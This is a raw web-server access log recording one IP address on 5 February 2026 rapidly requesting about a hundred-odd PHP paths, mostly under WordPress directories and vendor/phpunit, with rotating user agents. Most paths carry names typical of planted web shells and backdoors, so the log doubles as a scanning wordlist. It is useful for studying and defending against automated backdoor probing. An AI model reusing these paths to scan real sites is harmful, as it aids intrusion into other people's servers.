[05/Feb/2026:07:05:17 +0300] "GET /wp-admin/css/colors/sunrise/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:05:17 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/fixed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:18 +0300] "GET /wp-admin/js/widgets/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:18 +0300] "GET /wp-content/plugins/fix/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:05:19 +0300] "GET /wp-includes/category-double.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:05:19 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:19 +0300] "GET /blog/signatur.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.96 - - [05/Feb/2026:07:05:20 +0300] "GET /wp-includes/assets/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:05:20 +0300] "GET /wp-includes/widgets/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:20 +0300] "GET /include/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:21 +0300] "GET /gm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:05:21 +0300] "GET /wp-includes/class-wp-language-pack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:21 +0300] "GET /js/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:22 +0300] "GET /wp-includes/class-walker-comment-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:22 +0300] "GET /about/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:05:22 +0300] "GET /file/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:23 +0300] "GET /function/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:23 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:23 +0300] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:24 +0300] "GET /wp-includes/class-wp-network-query-stat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:24 +0300] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:05:24 +0300] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:05:25 +0300] "GET /wp-includes/class-wp-session-tokens-https.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:25 +0300] "GET /wp-admin/js/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:25 +0300] "GET /images/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:05:26 +0300] "GET /wp-includes/images/crystal/lrs_dage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:05:26 +0300] "GET /wp-content/upgrade/pdf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:26 +0300] "GET /wp-includes/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:05:27 +0300] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:27 +0300] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:27 +0300] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:05:28 +0300] "GET /wp-includes/customize/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.96 - - [05/Feb/2026:07:05:28 +0300] "GET /css/fan.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:28 +0300] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:05:29 +0300] "GET /images/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:29 +0300] "GET /wp-content/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:05:29 +0300] "GET /wp-admin/css/colors/ectoplasm/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:30 +0300] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:30 +0300] "GET /wp-includes/js/thickbox/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.96 - - [05/Feb/2026:07:05:31 +0300] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.96 - - [05/Feb/2026:07:05:31 +0300] "GET /wp-content/themes/twentytwentyfour/icascreenshots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:31 +0300] "GET /wp-content/upgrade/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:32 +0300] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:32 +0300] "GET /wp-admin/css/colors/ocean/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:05:32 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:32 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:33 +0300] "GET /wp-includes/certificates/past.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:05:33 +0300] "GET /wp-content/uploads/2021/faiyy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:05:33 +0300] "GET /css/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:34 +0300] "GET /wp-content/plugins/pwnd/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:34 +0300] "GET /wp-includes/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:34 +0300] "GET /wsax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:05:35 +0300] "GET /bless.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:05:35 +0300] "GET /wp-content/uploads/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:35 +0300] "GET /templates/beez3/dbcthbohhr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:36 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:05:36 +0300] "GET /wp-content/themes/tflow/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:37 +0300] "GET /wp-includes/css/dist/footer-default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.96 - - [05/Feb/2026:07:05:37 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.96 - - [05/Feb/2026:07:05:37 +0300] "GET /wp-includes/widgets/class-wp-widget-meta-request.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:38 +0300] "GET /wp-content/plugins/pwnd/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:38 +0300] "GET /wp-includes/css/dist/edit-widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:38 +0300] "GET /wp-content/plugins/ubh/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:39 +0300] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:39 +0300] "GET /wp-includes/l10n/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:39 +0300] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.96 - - [05/Feb/2026:07:05:40 +0300] "GET /wp-admin/js/widgets/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:40 +0300] "GET /uploads/xsec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:05:40 +0300] "GET /images/Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:41 +0300] "GET /wp-content/plugins/pwnd-1/kurd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.96 - - [05/Feb/2026:07:05:41 +0300] "GET /wp-content/themes/tflow/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.96 - - [05/Feb/2026:07:05:41 +0300] "GET /wp-content/languages/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:42 +0300] "GET /wp-content/uploads/fileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:05:42 +0300] "GET /wp-includes/widgets/wp-ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:42 +0300] "GET /wp-includes/IXR/xsec1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:43 +0300] "GET /admin.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:43 +0300] "GET /wp-admin/css/colors/hong1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.96 - - [05/Feb/2026:07:05:43 +0300] "GET /wp-admin/maint/byps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:44 +0300] "GET /wp-includes/images/crystal/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:44 +0300] "GET /wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:44 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:45 +0300] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.96 - - [05/Feb/2026:07:05:45 +0300] "GET /wp-includes/class-phpmailer-beta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:05:45 +0300] "GET /wp-includes/ms-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:46 +0300] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:46 +0300] "GET /wp-includes/widgets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:46 +0300] "GET /images/news_event/1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:47 +0300] "GET /chosen.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:05:47 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:05:47 +0300] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:05:48 +0300] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:05:48 +0300] "GET /page.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:48 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:49 +0300] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:05:49 +0300] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:49 +0300] "GET /wp-content/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:05:50 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:50 +0300] "GET /assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:05:50 +0300] "GET /wp-includes/SimplePie/XML/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:05:51 +0300] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:05:51 +0300] "GET /wp-content/1.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:05:51 +0300] "GET /wp-admin/css/colors/blue/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:52 +0300] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:05:52 +0300] "GET /wp-includes/assets/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.96 - - [05/Feb/2026:07:05:53 +0300] "GET /.well-known/acme-challenge/gecko-old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:53 +0300] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:54 +0300] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:54 +0300] "GET /wp-includes/widgets/class-wp-nav-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:05:54 +0300] "GET /x/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:05:55 +0300] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:55 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:55 +0300] "GET /wp-admin/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 